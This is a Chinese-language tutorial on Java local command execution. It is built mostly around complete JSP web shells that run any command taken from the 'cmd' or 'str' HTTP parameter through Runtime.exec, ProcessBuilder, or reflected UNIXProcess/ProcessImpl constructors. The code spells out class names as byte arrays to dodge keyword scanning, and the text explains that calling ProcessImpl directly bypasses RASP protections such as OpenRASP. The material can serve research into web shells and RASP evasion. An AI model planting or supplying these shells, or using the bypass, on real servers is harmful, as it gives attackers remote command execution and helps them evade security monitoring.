Java本地命令执行
Runtime命令执行
runtime-exec.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.InputStream" %> <% InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } out.write("<pre>" + new String(baos.toByteArray()) + "</pre>"); %>
反射Runtime命令执行
如果我们不希望在代码中出现和Runtime相关的关键字,我们可以全部用反射代替。
reflection-cmd.jsp示例代码:
ReflectRuntimetest2.java
package com.superman.test; import java.io.InputStream; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Scanner; public class ReflectRuntimetest2 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { String str = "whoami"; // 定义"java.lang.Runtime"字符串变量 String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}); // 反射java.lang.Runtime类获取Class对象 Class<?> c = Class.forName(rt); // 反射获取Runtime类的getRuntime方法 Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})); // 反射获取Runtime类的exec方法 Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class); // 反射调用Runtime.getRuntime().exec(xxx)方法 Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str}); // 反射获取Process类的getInputStream方法 Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109})); m.setAccessible(true); // 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串 Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A"); String result = s.hasNext() ? s.next() : ""; // 输出命令执行结果 System.out.println(result); } }
cmd.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.util.Scanner" %> <% String str = request.getParameter("str"); // 定义"java.lang.Runtime"字符串变量 String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}); // 反射java.lang.Runtime类获取Class对象 Class<?> c = Class.forName(rt); // 反射获取Runtime类的getRuntime方法 Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})); // 反射获取Runtime类的exec方法 Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class); // 反射调用Runtime.getRuntime().exec(xxx)方法 Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str}); // 反射获取Process类的getInputStream方法 Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109})); m.setAccessible(true); // 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串 Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A"); String result = s.hasNext() ? s.next() : ""; // 输出命令执行结果 out.println(result); %>
ProcessBuilder命令执行
执行一个稍微复杂点的命令:/bin/sh -c "cd /Users/;ls -la;",浏览器请求:http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la
process_builder.jsp
<%-- Created by IntelliJ IDEA. User: yz Date: 2019/12/6 Time: 10:26 上午 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.InputStream" %> <% InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } out.write("<pre>" + new String(baos.toByteArray()) + "</pre>"); %>
process_builder.java
package com.superman.test; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; public class process_builder { public static void main(String[] args) throws IOException { InputStream in = new ProcessBuilder("whoami").start().getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } System.out.println("<pre>" + new String(baos.toByteArray()) + "</pre>"); } }
UNIXProcess/ProcessImpl
UNIXProcess和ProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中了,参考changeset 11315:98eb910c9a97。
UNIXProcess和ProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。
UNIXProcess类的forkAndExec示例:
private native int forkAndExec(int mode, byte[] helperpath, byte[] prog, byte[] argBlock, int argc, byte[] envBlock, int envc, byte[] dir, int[] fds, boolean redirectErrorStream) throws IOException;
最终执行的Java_java_lang_ProcessImpl_forkAndExec:
Java_java_lang_ProcessImpl_forkAndExec完整代码:ProcessImpl_md.c
很多人对Java本地命令执行的理解不够深入导致了他们无法定位到最终的命令执行点,去年给OpenRASP提过这个问题,他们只防御到了ProcessBuilder.start()方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImpl的forkAndExec方法就可以绕过RASP实现命令执行了。
但是因为不能直接调用ProcessImpl所以只能通过反射来获取
package exec; import java.io.ByteArrayOutputStream; import java.lang.ProcessBuilder.Redirect; import java.lang.reflect.Method; import java.util.Map; public class ProcessImplExec { public static void main(String[] args) throws Exception { String[] cmds = new String[]{"whoami"}; Class clazz = Class.forName("java.lang.ProcessImpl"); Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class); method.setAccessible(true); Process e = (Process) method.invoke(null, cmds, null, ".", null, true); byte[] bs = new byte[2048]; int readSize = 0; ByteArrayOutputStream infoStream = new ByteArrayOutputStream(); while ((readSize = e.getInputStream().read(bs)) > 0) { infoStream.write(bs, 0, readSize); } System.out.println(infoStream.toString()); } }
linux-cmd.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.*" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Method" %> <%! byte[] toCString(String s) { if (s == null) { return null; } byte[] bytes = s.getBytes(); byte[] result = new byte[bytes.length + 1]; System.arraycopy(bytes, 0, result, 0, bytes.length); result[result.length - 1] = (byte) 0; return result; } InputStream start(String[] strs) throws Exception { // java.lang.UNIXProcess String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115}); // java.lang.ProcessImpl String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108}); Class clazz = null; // 反射创建UNIXProcess或者ProcessImpl try { clazz = Class.forName(unixClass); } catch (ClassNotFoundException e) { clazz = Class.forName(processClass); } // 获取UNIXProcess或者ProcessImpl的构造方法 Constructor<?> constructor = clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true); assert strs != null && strs.length > 0; // Convert arguments to a contiguous block; it's easier to do // memory management in Java than in C. byte[][] args = new byte[strs.length - 1][]; int size = args.length; // For added NUL bytes for (int i = 0; i < args.length; i++) { args[i] = strs[i + 1].getBytes(); size += args[i].length; } byte[] argBlock = new byte[size]; int i = 0; for (byte[] arg : args) { System.arraycopy(arg, 0, argBlock, i, arg.length); i += arg.length + 1; // No need to write NUL bytes explicitly } int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1}; FileInputStream f0 = null; FileOutputStream f1 = null; FileOutputStream f2 = null; // In theory, close() can throw IOException // (although it is rather unlikely to happen here) try { if (f0 != null) f0.close(); } finally { try { if (f1 != null) f1.close(); } finally { if (f2 != null) f2.close(); } } // 创建UNIXProcess或者ProcessImpl实例 Object object = constructor.newInstance( toCString(strs[0]), argBlock, args.length, null, envc[0], null, std_fds, false ); // 获取命令执行的InputStream Method inMethod = object.getClass().getDeclaredMethod("getInputStream"); inMethod.setAccessible(true); return (InputStream) inMethod.invoke(object); } String inputStreamToString(InputStream in, String charset) throws IOException { try { if (charset == null) { charset = "UTF-8"; } ByteArrayOutputStream out = new ByteArrayOutputStream(); int a = 0; byte[] b = new byte[1024]; while ((a = in.read(b)) != -1) { out.write(b, 0, a); } return new String(out.toByteArray()); } catch (IOException e) { throw e; } finally { if (in != null) in.close(); } } %> <% String[] str = request.getParameterValues("cmd"); if (str != null) { InputStream in = start(str); String result = inputStreamToString(in, "UTF-8"); out.println("<pre>"); out.println(result); out.println("</pre>"); out.flush(); out.close(); } %>